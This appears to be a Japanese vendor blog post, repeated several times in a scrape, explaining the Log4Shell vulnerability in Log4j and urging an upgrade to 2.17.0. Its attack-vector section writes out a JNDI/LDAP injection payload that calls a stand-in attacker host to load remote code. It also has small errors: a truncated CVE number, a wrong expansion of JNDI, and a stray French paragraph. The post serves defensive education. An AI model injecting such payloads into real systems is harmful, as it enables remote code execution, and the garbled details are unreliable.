SCW アイコン
ヒーロー背景(区切りなし)
ブログ

Log4j脆弱性の解説 - 攻撃ベクトルとその防止策

ローラ・ベルヘイデ
2022年1月16日 発行
最終更新日: 2026年3月6日

12月9日、Java Log4jライブラリにおける0day脆弱性が公表された。CVE-44228(コード名:Log 4 Shell)は「深刻度高」と評価されました。この脆弱性を悪用すると、リモートコード実行(RCE)が可能となるためです。さらに、log4j-coreは最も広く使用されているJavaログライブラリの一つであり、数百万のアプリケーションが危険に晒されています。

Log4Shellに挑戦して、素早くスキルを向上させたいですか?

私たちは、Log4Shellの基本概念から、Missionと呼ばれるシミュレーター内でのこの脆弱性の悪用手法の発見に至るまでの体験を提供するショーケースを作成しました。このミッションを通じて、Log4jの脆弱性がインフラストラクチャやアプリケーションにどのような影響を与え得るかを説明します。ショーケースに直接アクセスするにはこちらをクリック、またはこの脆弱性についてさらに詳しく知るために読み進めてください。

古いニュース?

この脆弱性は新しいものではない。セキュリティ研究者であるAlvaro MuñozとOleksandr Miroshは、2016年のBlackHatカンファレンスにおいて既に「アプリケーションは信頼できないデータでJNDI検索を行ってはならない」と指摘し、標的型JNDI/LDAPインジェクションがリモートコード実行につながる可能性を実証していた。 そして、まさにこれがLog4Shellの核心である。

攻撃ベクトル

Log4Shellの有用なインジェクションチャージは次のようになります:

$ {jndi:ldap : //attacker.host/xyz}

Pour comprendre cela, nous devons connaître le langage d'expression Java (EL). Expressions écrites dans la syntaxe suivante : $ {expr} sera évalué lors de l'exécution. Par exemple, $ {java:version} renverra la version Java utilisée.

次に、JNDI(Java Directory and Directory Interface)があります。これは、LDAP、DNS、RMIなどのプロトコルを使用してサービスに接続し、データやリソースを取得するためのAPIです。簡単に言えば、上記の悪意のあるペイロードの例では、JNDIが攻撃者が制御するLDAPサーバーに対して検索を実行します。 その応答は、例えば悪意のあるコードを含むJavaクラスファイルを指し示す可能性があり、それが脆弱なサーバー上で実行されることになります。

この脆弱性が特に問題となる理由は、Log4jがすべてのログエントリを評価し、ユーザー入力として記録されたEL構文のエントリを「jndi」プレフィックスで検索するためです。 ペイロードは、ユーザーがデータを入力できるあらゆる場所(例:フォームフィールド)に注入可能です。さらに、UserAgentやX-Forwarded-ForなどのHTTPヘッダーやその他のヘッダーをカスタマイズしてペイロードを運搬することもできます。

この成果をぜひご自身でご覧ください。当社のショーケースにアクセスし、ステップ2「体験のインパクト」に進んでください。

予防:意識

すべてのアプリケーションにおいて、Log4jが脆弱なコードを修正したため、アップグレードが推奨されます。ただし、バージョン2.15.0および2.16.0にはDDoS攻撃やその他の脆弱性が含まれていたため、12月末以降はバージョン2.17.0への移行が推奨されます。

コードを書く開発者として、私たちは常にセキュリティを考慮しなければなりません。Log4Shellは、サードパーティのフレームワークやライブラリの使用にはリスクが伴うことを教えてくれました。私たちは、無邪気に安全だと仮定している外部ソースの使用によって、アプリケーションのセキュリティが損なわれる可能性があることを認識する必要があります。

この脆弱性は回避できたでしょうか?はい、そしていいえ。一方で、開発者は脆弱なコンポーネントがサードパーティ製ソフトウェアを介して導入されるため、何もできません。他方で、ここから得られる教訓は、何度も繰り返されてきた教訓、つまりユーザー入力を決して信頼してはならないというものです。

Secure Code Warrior 、セキュリティ意識の高い開発者がコード内の脆弱性発生を防ぐ最善策であるSecure Code Warrior 。 SCWがプログラミングフレームワークに特化した大規模トレーニングを提供したため、顧客企業はレポートデータを活用して対象となるJava開発者を迅速に特定できました。また、SCWが育成したセキュリティチャンピオンの支援を得て、Log4jのアップグレードを加速させました。

特にJava開発者向けに、Secure Code Warrior 無料のIntelliJプラグイン「Sensei Secure Code Warrior 。このルールベースのコード分析ツールは、コーディングガイドラインの適用や脆弱性の予防・修正に活用できます。独自のルールを作成するか、当社の既製レシピブックをご利用ください。レシピへの参加をお待ちしています。また、Log4Shell脆弱性を瞬時に特定・修正できるLog4jレシピブックのダウンロードもお忘れなく。

Log4Shellに対する防御スキルを向上させましょう

このブログ記事で学んだことを実践してみませんか?当社のデモ環境がお役に立ちます。プレゼンテーションの冒頭で脆弱性の概要を簡単に確認した後、シミュレートされた環境へ移動し、ガイド付き手順でエクスプロイトを試すことができます。


リソースを表示する
リソースを表示する

2021年12月、JavaライブラリLog4jに重大なセキュリティ脆弱性Log4Shellが発見されました。本記事では、Log4Shell脆弱性を最も簡潔に解説し、その基礎を理解していただくとともに、あるミッションをご紹介します:この脆弱性の知識を活用し、模擬ウェブサイトを攻撃する実践の場です。

さらに詳しく知りたいですか?

もっと詳しく

Secure Code Warrior ソフトウェア開発ライフサイクル全体を通じてコードのセキュリティを確保し、サイバーセキュリティを最優先事項とする文化を構築するために、組織をSecure Code Warrior 。アプリケーションセキュリティ担当者、開発者、情報セキュリティ責任者、その他セキュリティに関わるあらゆる方々のために、当社は組織が非セキュアなコードに関連するリスクを軽減するお手伝いをいたします。

デモを予約する
共有する:
リンクトインのブランドソーシャルx ロゴ
作者
ローラ・ベルヘイデ
2022年1月16日発行

Laura Verheyde est une développeuse de logiciels chez Secure Code Warrior qui se concentre sur la recherche de vulnérabilités et la création de contenu pour les missions et les laboratoires de codage.

共有する:
リンクトインのブランドソーシャルx ロゴ

12月9日、Java Log4jライブラリにおける0day脆弱性が公表された。CVE-44228(コード名:Log 4 Shell)は「深刻度高」と評価されました。この脆弱性を悪用すると、リモートコード実行(RCE)が可能となるためです。さらに、log4j-coreは最も広く使用されているJavaログライブラリの一つであり、数百万のアプリケーションが危険に晒されています。

Log4Shellに挑戦して、素早くスキルを向上させたいですか?

私たちは、Log4Shellの基本概念から、Missionと呼ばれるシミュレーター内でのこの脆弱性の悪用手法の発見に至るまでの体験を提供するショーケースを作成しました。このミッションを通じて、Log4jの脆弱性がインフラストラクチャやアプリケーションにどのような影響を与え得るかを説明します。ショーケースに直接アクセスするにはこちらをクリック、またはこの脆弱性についてさらに詳しく知るために読み進めてください。

古いニュース?

この脆弱性は新しいものではない。セキュリティ研究者であるAlvaro MuñozとOleksandr Miroshは、2016年のBlackHatカンファレンスにおいて既に「アプリケーションは信頼できないデータでJNDI検索を行ってはならない」と指摘し、標的型JNDI/LDAPインジェクションがリモートコード実行につながる可能性を実証していた。 そして、まさにこれがLog4Shellの核心である。

攻撃ベクトル

Log4Shellの有用なインジェクションチャージは次のようになります:

$ {jndi:ldap : //attacker.host/xyz}

Pour comprendre cela, nous devons connaître le langage d'expression Java (EL). Expressions écrites dans la syntaxe suivante : $ {expr} sera évalué lors de l'exécution. Par exemple, $ {java:version} renverra la version Java utilisée.

次に、JNDI(Java Directory and Directory Interface)があります。これは、LDAP、DNS、RMIなどのプロトコルを使用してサービスに接続し、データやリソースを取得するためのAPIです。簡単に言えば、上記の悪意のあるペイロードの例では、JNDIが攻撃者が制御するLDAPサーバーに対して検索を実行します。 その応答は、例えば悪意のあるコードを含むJavaクラスファイルを指し示す可能性があり、それが脆弱なサーバー上で実行されることになります。

この脆弱性が特に問題となる理由は、Log4jがすべてのログエントリを評価し、ユーザー入力として記録されたEL構文のエントリを「jndi」プレフィックスで検索するためです。 ペイロードは、ユーザーがデータを入力できるあらゆる場所(例:フォームフィールド)に注入可能です。さらに、UserAgentやX-Forwarded-ForなどのHTTPヘッダーやその他のヘッダーをカスタマイズしてペイロードを運搬することもできます。

この成果をぜひご自身でご覧ください。当社のショーケースにアクセスし、ステップ2「体験のインパクト」に進んでください。

予防:意識

すべてのアプリケーションにおいて、Log4jが脆弱なコードを修正したため、アップグレードが推奨されます。ただし、バージョン2.15.0および2.16.0にはDDoS攻撃やその他の脆弱性が含まれていたため、12月末以降はバージョン2.17.0への移行が推奨されます。

コードを書く開発者として、私たちは常にセキュリティを考慮しなければなりません。Log4Shellは、サードパーティのフレームワークやライブラリの使用にはリスクが伴うことを教えてくれました。私たちは、無邪気に安全だと仮定している外部ソースの使用によって、アプリケーションのセキュリティが損なわれる可能性があることを認識する必要があります。

この脆弱性は回避できたでしょうか?はい、そしていいえ。一方で、開発者は脆弱なコンポーネントがサードパーティ製ソフトウェアを介して導入されるため、何もできません。他方で、ここから得られる教訓は、何度も繰り返されてきた教訓、つまりユーザー入力を決して信頼してはならないというものです。

Secure Code Warrior 、セキュリティ意識の高い開発者がコード内の脆弱性発生を防ぐ最善策であるSecure Code Warrior 。 SCWがプログラミングフレームワークに特化した大規模トレーニングを提供したため、顧客企業はレポートデータを活用して対象となるJava開発者を迅速に特定できました。また、SCWが育成したセキュリティチャンピオンの支援を得て、Log4jのアップグレードを加速させました。

特にJava開発者向けに、Secure Code Warrior 無料のIntelliJプラグイン「Sensei Secure Code Warrior 。このルールベースのコード分析ツールは、コーディングガイドラインの適用や脆弱性の予防・修正に活用できます。独自のルールを作成するか、当社の既製レシピブックをご利用ください。レシピへの参加をお待ちしています。また、Log4Shell脆弱性を瞬時に特定・修正できるLog4jレシピブックのダウンロードもお忘れなく。

Log4Shellに対する防御スキルを向上させましょう

このブログ記事で学んだことを実践してみませんか?当社のデモ環境がお役に立ちます。プレゼンテーションの冒頭で脆弱性の概要を簡単に確認した後、シミュレートされた環境へ移動し、ガイド付き手順でエクスプロイトを試すことができます。


リソースを表示する
リソースを表示する

以下のフォームに記入してレポートをダウンロードしてください

当社製品および/またはセキュアコーディング関連の情報をお送りするにあたり、ご承諾を頂戴できれば幸いです。お客様の個人情報は常に細心の注意をもって取り扱い、マーケティング目的で他社に販売することは一切ございません。

提出する
SCW成功アイコン
SCWエラーアイコン
フォームを送信するには、Analyticsクッキーを有効にしてください。完了後は再度無効化しても構いません。

12月9日、Java Log4jライブラリにおける0day脆弱性が公表された。CVE-44228(コード名:Log 4 Shell)は「深刻度高」と評価されました。この脆弱性を悪用すると、リモートコード実行(RCE)が可能となるためです。さらに、log4j-coreは最も広く使用されているJavaログライブラリの一つであり、数百万のアプリケーションが危険に晒されています。

Log4Shellに挑戦して、素早くスキルを向上させたいですか?

私たちは、Log4Shellの基本概念から、Missionと呼ばれるシミュレーター内でのこの脆弱性の悪用手法の発見に至るまでの体験を提供するショーケースを作成しました。このミッションを通じて、Log4jの脆弱性がインフラストラクチャやアプリケーションにどのような影響を与え得るかを説明します。ショーケースに直接アクセスするにはこちらをクリック、またはこの脆弱性についてさらに詳しく知るために読み進めてください。

古いニュース?

この脆弱性は新しいものではない。セキュリティ研究者であるAlvaro MuñozとOleksandr Miroshは、2016年のBlackHatカンファレンスにおいて既に「アプリケーションは信頼できないデータでJNDI検索を行ってはならない」と指摘し、標的型JNDI/LDAPインジェクションがリモートコード実行につながる可能性を実証していた。 そして、まさにこれがLog4Shellの核心である。

攻撃ベクトル

Log4Shellの有用なインジェクションチャージは次のようになります:

$ {jndi:ldap : //attacker.host/xyz}

Pour comprendre cela, nous devons connaître le langage d'expression Java (EL). Expressions écrites dans la syntaxe suivante : $ {expr} sera évalué lors de l'exécution. Par exemple, $ {java:version} renverra la version Java utilisée.

次に、JNDI(Java Directory and Directory Interface)があります。これは、LDAP、DNS、RMIなどのプロトコルを使用してサービスに接続し、データやリソースを取得するためのAPIです。簡単に言えば、上記の悪意のあるペイロードの例では、JNDIが攻撃者が制御するLDAPサーバーに対して検索を実行します。 その応答は、例えば悪意のあるコードを含むJavaクラスファイルを指し示す可能性があり、それが脆弱なサーバー上で実行されることになります。

この脆弱性が特に問題となる理由は、Log4jがすべてのログエントリを評価し、ユーザー入力として記録されたEL構文のエントリを「jndi」プレフィックスで検索するためです。 ペイロードは、ユーザーがデータを入力できるあらゆる場所(例:フォームフィールド)に注入可能です。さらに、UserAgentやX-Forwarded-ForなどのHTTPヘッダーやその他のヘッダーをカスタマイズしてペイロードを運搬することもできます。

この成果をぜひご自身でご覧ください。当社のショーケースにアクセスし、ステップ2「体験のインパクト」に進んでください。

予防:意識

すべてのアプリケーションにおいて、Log4jが脆弱なコードを修正したため、アップグレードが推奨されます。ただし、バージョン2.15.0および2.16.0にはDDoS攻撃やその他の脆弱性が含まれていたため、12月末以降はバージョン2.17.0への移行が推奨されます。

コードを書く開発者として、私たちは常にセキュリティを考慮しなければなりません。Log4Shellは、サードパーティのフレームワークやライブラリの使用にはリスクが伴うことを教えてくれました。私たちは、無邪気に安全だと仮定している外部ソースの使用によって、アプリケーションのセキュリティが損なわれる可能性があることを認識する必要があります。

この脆弱性は回避できたでしょうか?はい、そしていいえ。一方で、開発者は脆弱なコンポーネントがサードパーティ製ソフトウェアを介して導入されるため、何もできません。他方で、ここから得られる教訓は、何度も繰り返されてきた教訓、つまりユーザー入力を決して信頼してはならないというものです。

Secure Code Warrior 、セキュリティ意識の高い開発者がコード内の脆弱性発生を防ぐ最善策であるSecure Code Warrior 。 SCWがプログラミングフレームワークに特化した大規模トレーニングを提供したため、顧客企業はレポートデータを活用して対象となるJava開発者を迅速に特定できました。また、SCWが育成したセキュリティチャンピオンの支援を得て、Log4jのアップグレードを加速させました。

特にJava開発者向けに、Secure Code Warrior 無料のIntelliJプラグイン「Sensei Secure Code Warrior 。このルールベースのコード分析ツールは、コーディングガイドラインの適用や脆弱性の予防・修正に活用できます。独自のルールを作成するか、当社の既製レシピブックをご利用ください。レシピへの参加をお待ちしています。また、Log4Shell脆弱性を瞬時に特定・修正できるLog4jレシピブックのダウンロードもお忘れなく。

Log4Shellに対する防御スキルを向上させましょう

このブログ記事で学んだことを実践してみませんか?当社のデモ環境がお役に立ちます。プレゼンテーションの冒頭で脆弱性の概要を簡単に確認した後、シミュレートされた環境へ移動し、ガイド付き手順でエクスプロイトを試すことができます。


ウェビナーを表示する
始めましょう
もっと詳しく

以下のリンクをクリックして、このリソースのPDFをダウンロードしてください。

Secure Code Warrior ソフトウェア開発ライフサイクル全体を通じてコードのセキュリティを確保し、サイバーセキュリティを最優先事項とする文化を構築するために、組織をSecure Code Warrior 。アプリケーションセキュリティ担当者、開発者、情報セキュリティ責任者、その他セキュリティに関わるあらゆる方々のために、当社は組織が非セキュアなコードに関連するリスクを軽減するお手伝いをいたします。

レポートを表示するデモを予約する
PDFをダウンロード
リソースを表示する
共有する:
リンクトインのブランドソーシャルx ロゴ
さらに詳しく知りたいですか?

共有する:
リンクトインのブランドソーシャルx ロゴ
作者
ローラ・ベルヘイデ
2022年1月16日発行

Laura Verheyde est une développeuse de logiciels chez Secure Code Warrior qui se concentre sur la recherche de vulnérabilités et la création de contenu pour les missions et les laboratoires de codage.

共有する:
リンクトインのブランドソーシャルx ロゴ

12月9日、Java Log4jライブラリにおける0day脆弱性が公表された。CVE-44228(コード名:Log 4 Shell)は「深刻度高」と評価されました。この脆弱性を悪用すると、リモートコード実行(RCE)が可能となるためです。さらに、log4j-coreは最も広く使用されているJavaログライブラリの一つであり、数百万のアプリケーションが危険に晒されています。

Log4Shellに挑戦して、素早くスキルを向上させたいですか?

私たちは、Log4Shellの基本概念から、Missionと呼ばれるシミュレーター内でのこの脆弱性の悪用手法の発見に至るまでの体験を提供するショーケースを作成しました。このミッションを通じて、Log4jの脆弱性がインフラストラクチャやアプリケーションにどのような影響を与え得るかを説明します。ショーケースに直接アクセスするにはこちらをクリック、またはこの脆弱性についてさらに詳しく知るために読み進めてください。

古いニュース?

この脆弱性は新しいものではない。セキュリティ研究者であるAlvaro MuñozとOleksandr Miroshは、2016年のBlackHatカンファレンスにおいて既に「アプリケーションは信頼できないデータでJNDI検索を行ってはならない」と指摘し、標的型JNDI/LDAPインジェクションがリモートコード実行につながる可能性を実証していた。 そして、まさにこれがLog4Shellの核心である。

攻撃ベクトル

Log4Shellの有用なインジェクションチャージは次のようになります:

$ {jndi:ldap : //attacker.host/xyz}

Pour comprendre cela, nous devons connaître le langage d'expression Java (EL). Expressions écrites dans la syntaxe suivante : $ {expr} sera évalué lors de l'exécution. Par exemple, $ {java:version} renverra la version Java utilisée.

次に、JNDI(Java Directory and Directory Interface)があります。これは、LDAP、DNS、RMIなどのプロトコルを使用してサービスに接続し、データやリソースを取得するためのAPIです。簡単に言えば、上記の悪意のあるペイロードの例では、JNDIが攻撃者が制御するLDAPサーバーに対して検索を実行します。 その応答は、例えば悪意のあるコードを含むJavaクラスファイルを指し示す可能性があり、それが脆弱なサーバー上で実行されることになります。

この脆弱性が特に問題となる理由は、Log4jがすべてのログエントリを評価し、ユーザー入力として記録されたEL構文のエントリを「jndi」プレフィックスで検索するためです。 ペイロードは、ユーザーがデータを入力できるあらゆる場所(例:フォームフィールド)に注入可能です。さらに、UserAgentやX-Forwarded-ForなどのHTTPヘッダーやその他のヘッダーをカスタマイズしてペイロードを運搬することもできます。

この成果をぜひご自身でご覧ください。当社のショーケースにアクセスし、ステップ2「体験のインパクト」に進んでください。

予防:意識

すべてのアプリケーションにおいて、Log4jが脆弱なコードを修正したため、アップグレードが推奨されます。ただし、バージョン2.15.0および2.16.0にはDDoS攻撃やその他の脆弱性が含まれていたため、12月末以降はバージョン2.17.0への移行が推奨されます。

コードを書く開発者として、私たちは常にセキュリティを考慮しなければなりません。Log4Shellは、サードパーティのフレームワークやライブラリの使用にはリスクが伴うことを教えてくれました。私たちは、無邪気に安全だと仮定している外部ソースの使用によって、アプリケーションのセキュリティが損なわれる可能性があることを認識する必要があります。

この脆弱性は回避できたでしょうか?はい、そしていいえ。一方で、開発者は脆弱なコンポーネントがサードパーティ製ソフトウェアを介して導入されるため、何もできません。他方で、ここから得られる教訓は、何度も繰り返されてきた教訓、つまりユーザー入力を決して信頼してはならないというものです。

Secure Code Warrior 、セキュリティ意識の高い開発者がコード内の脆弱性発生を防ぐ最善策であるSecure Code Warrior 。 SCWがプログラミングフレームワークに特化した大規模トレーニングを提供したため、顧客企業はレポートデータを活用して対象となるJava開発者を迅速に特定できました。また、SCWが育成したセキュリティチャンピオンの支援を得て、Log4jのアップグレードを加速させました。

特にJava開発者向けに、Secure Code Warrior 無料のIntelliJプラグイン「Sensei Secure Code Warrior 。このルールベースのコード分析ツールは、コーディングガイドラインの適用や脆弱性の予防・修正に活用できます。独自のルールを作成するか、当社の既製レシピブックをご利用ください。レシピへの参加をお待ちしています。また、Log4Shell脆弱性を瞬時に特定・修正できるLog4jレシピブックのダウンロードもお忘れなく。

Log4Shellに対する防御スキルを向上させましょう

このブログ記事で学んだことを実践してみませんか?当社のデモ環境がお役に立ちます。プレゼンテーションの冒頭で脆弱性の概要を簡単に確認した後、シミュレートされた環境へ移動し、ガイド付き手順でエクスプロイトを試すことができます。


目次

PDFをダウンロード
リソースを表示する
さらに詳しく知りたいですか?

もっと詳しく

Secure Code Warrior ソフトウェア開発ライフサイクル全体を通じてコードのセキュリティを確保し、サイバーセキュリティを最優先事項とする文化を構築するために、組織をSecure Code Warrior 。アプリケーションセキュリティ担当者、開発者、情報セキュリティ責任者、その他セキュリティに関わるあらゆる方々のために、当社は組織が非セキュアなコードに関連するリスクを軽減するお手伝いをいたします。

デモを予約するダウンロード
共有する:
リンクトインのブランドソーシャルx ロゴ
リソースセンター

はじめの一歩を踏み出すためのリソース

投稿はありません
リソースセンター

はじめの一歩を踏み出すためのリソース

投稿はありません